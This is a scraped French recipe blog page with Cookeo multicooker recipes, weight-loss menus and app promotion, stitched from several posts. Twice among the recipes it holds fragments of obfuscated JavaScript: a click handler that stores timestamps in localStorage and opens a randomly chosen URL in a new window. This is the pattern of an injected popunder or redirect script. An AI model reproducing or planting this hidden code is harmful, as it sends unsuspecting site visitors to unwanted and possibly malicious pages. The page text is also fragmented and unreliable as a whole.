Kiddy cookeo  cuisinez avec vos enfants

Moulinex lance un nouveau programme avec le cookeo  Kiddy Cookeo. Ce programme propose d’intégrer les enfants (les kids) dans l’élaboration de la recette au cookeo .

Pour cela les recettes sont divisées en plusieurs  missions ,certaines réalisées par les enfants  ( de 7 à 12 ans ) et d’autres par les adultes .

Des activités de développement du goût aux textures et saveurs sont proposées tout au long de la recette .

Pour l’instant 5 recettes sont proposées avec des étapes définies .

Voici quelques images sur les étapes à suivre .

Vous pouvez donc retrouvez ce programme Kiddy Cookeo  sur l’application mon Cookeo sur le play store .

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Je vous propose ici 2 recettes de foie gras Cookeo glanées sur le net je n’ai pas encore eu le temps de les testées mais elles me paraissent réalisables . Si toutefois vous connaissez déjà ces recettes ou que vous les avez réalisées donnez nous vos impressions .

Ballotins de foie gras

Ingrédients

350 g de foie gras éveiné mariné 4 h dans le lait puis essuyé

500 ml de lait

Sel poivre

200 ml d’eau

Préparation

Assaisonnez le foie gras puis formez un boudin de 5 cm de diamètre en filmant très serré. Placez au congélateur 15 mn .

Versez 200 ml d’eau dans la cuve.

Placez le foie gras refroidi dans le panier vapeur puis placez le panier vapeur dans la cuve.

Cuisson rapide ou sous pression

Programmez 6 mn

Refroidissez le foie gras dans de l’eau 30 mn, puis placez au frigo pendant 2 jours.

Une autre recette foie gras cookeo

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//

//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Blanquette veau cookeo (Recette360)

Voici encore une excellente recette de notre site partenaire RECETTE360 

//
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Astuce cookeo 

Voilà une vidéo destinée à ceux qui débute au cookeo .Il s’agit de voir comment interrompre une cuisson au cookeo . Vous avez oublié un ingrédients par exemple alors pas de problème .  La vidéo vous explique comment faire .

//
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Spaghettis  thon weight watchers 7 PP  6 SP

Ingrédients pour 5 personnes

350 g de spaghettis (70 g par personnes)

1 grosse boite de thon

1 petite boite de tomates concassées ou pelées

100 g d’oignons congelés ou frais

1 cuillère à café d’ail déshydraté ou 1 gousse d’ail

Sel

Poivre

300 ml d’eau

Préparation

Mode dorer

Faites revenir les oignons et l’ail dans la cuve avec l’huile d’olive.

Ajoutez au bout d’une minute le thon et faites le revenir 1 mn.

Versez les tomates concassées.

Ajoutez les spaghettis coupés en 2

Versez l’eau.

Cuisson rapide ou sous pression

Programmez 5 mn (le temps indiqué sur le paquet de spaghettis divisé par 2)

Servez chaud




//
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Voici une vidéo qui devrait vous permettre de trouver des idées de recettes cookeo fin d’année. Ces recettes vous pouvez les retrouver dans le playstore avec » mon appli cookeo » de Moulinex .

//
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Recette vidéo cookeo foies volailles aux pommes

//
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Risotto crevettes curry tomates Recette cookeo

Ingrédients  pour 4 personnes

400 g de crevettes décortiquées

240 g de riz

1 cube de bouillon de bœuf

1 verre de vin blanc

300 ml d’eau

1 petite boite de tomates concassées

Sel, poivre

1 cuillère à café de curry 

Préparation

Déposez dans la cuve les crevettes ,le riz .

Versez  le contenu de la boite de tomates concassées.

Versez un bouillon de 300 ml d’eau avec le cube de bouillon de bœuf émiétté

Versez le verre de vin blanc

Saupoudrez avec la cuillère de curry 

Salez et poivrez .

Cuisson rapide ou sous  pression

Programmez  5 mn (temps indiqué sur le paquet e riz divisé par 2)

Servez chaud



//
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Ingrédients pour 2 personnes

2 cuisses de poulet

400 g de haricots verts

100 g d’oignons congelés

Herbe de Provence

1 cube de bouillon de boeuf

400 ml d’eau

Huile d’olive

Sel

Poivre

Préparation

Mode dorer

Faites revenir les cuisses de poulet dans la cuve avec de l’huile d’olive puis ajoutez les oignons quand les cuisses sont dorées.

Ajoutez les haricots verts. Salez et poivrez selon votre convenance.

Versez 400 ml d’eau avec le cube de bouillon de bœuf émietté

Cuisson rapide ou sous pression programmez 15 mn

Servez chaud




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Et bien voilà le PDF des 1100 recettes évolue et devient 1200 recettes cookeo .Des fiches de recettes cookeo écrites par différents auteurs et certaines par moi même

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Côtes de porc au cidre weight watchers 7PP 12 SP

260 CALORIES 6 PP 6 SP

Ingrédients pour 5 personnes

5 côtes de porc (1 par personne)

2 cuillères à café d’huile d’olive

200 ml de cidre

1 petit verre d’eau

200 g d’oignons

45 g de crème fraîche

Sel, poivre

Préparation

Mode dorer

Faites revenir les oignons dans la cuve avc l’huile d’olive puis ajoutez les côtes de porc et faites les revenir des 2 côtés

Versez le cidre et le verre d’eau . Salez et poivrez.

Cuisson rapide ou sous pression

Porogrammez  15 mn

Ajoutez la crème quand la cuisson est terminée Servez chaud




//
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Menu cookeo équilibré JOUR 15

 Et c’est parti pour une troisième semaine de menus cookeo équilibrés .Nous en sommes au quinzième jour .

Pour accéder aux recettes cookeo et obtenir le descriptif  il vous suffit de cliquer sur le titre de la recette ou sur l’image .

NB

Les recettes sont prévues pour 4 personnes.Les recettes en rouge sont des recettes réalisées au cookeo .

Une portion de pain = 50 g. Une portion de fromage = 30 g. Sans précision, fruit et yaourt = 1 par repas.

DEJEUNER

Artichauts sauce au thon

Filet de poisson au curry

Purée de pommes de terre

Fromage blanc et confiture

Pain

DINER

Pointes d’asperges à la crème

Pennes dinde citron

Fromage

Nectarine ou fruit de saison

Pain

JOUR 15

DEJEUNER

Artichauts sauce au thon 130 calories

Ingrédients pour 4 personnes

1 boite de fonds d’artichauts/1 boite de thon au naturel/2 œufs/3 cuillères à soupe de crème fraîche/1 cuillère à soupe de moutarde/1 citron/sel/poivre/

Préparation

Faites cuire les œufs dans de l’eau pendant 10 mn. Passez les œufs sous l’eau pour les refroidir et les écaler. Ouvrez la boîte de thon et égouttez le thon. Emiettez le thon. Placez le thon dans le bol d’un mixeur, ajoutez les œufs et hachez l’ensemble. Ajoutez la cuillère de moutarde, les 3 cuillères de crème fraiche, le jus d’un citron que vous avez pressé, salez et poivrez si nécessaire.

Egouttez les fonds d’artichauts. Préparez la sauce au thon .Remplissez les cavités des fonds d’artichauts avec la préparation de thon.

Filet de poisson au curry 180 calories

Purée de pommes de terre 100 calories

Faites chauffer de l’eau avec du lait et suivez  les indications du paquet ou purée au cookeo

Fromage blanc et confiture 100 calories

 4 pots de fromage blanc et une cuillère de confiture à votre choix par personne

DINER

Pointes d’asperge à la crème 110 calories

Ingrédients pour 4 personnes

2 petites de boîtes de pointes d’asperge/4 cuillères à soupe de crème fraîche/1 citron/sel/poivre

Préparation

Ouvrez et égouttez les boîtes de pointes d’asperge. Passez les pointes d’asperges sous l’eau. Préparez une sauce à la crème fraîche avec 4 cuillères à soupe de crème fraîche liquide, le jus d’un citron pressé, du sel et du poivre. Versez sur les pointes d’asperges

Pennes dinde citron 380 calories

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Dos de chevreuil au cassis une recette cookeo pour Noël

Dos de chevreuil au cassis une recette cookeo pour Noël .Une recette de l’application mon cookeo .

Pour mieux visualiser la recette retrouvez le PDF des :

10 idées recettes cookeo pour les fêtes de Noël en PDF

Vous pouvez aussi  téléchargez l’application sur le playstore .

//
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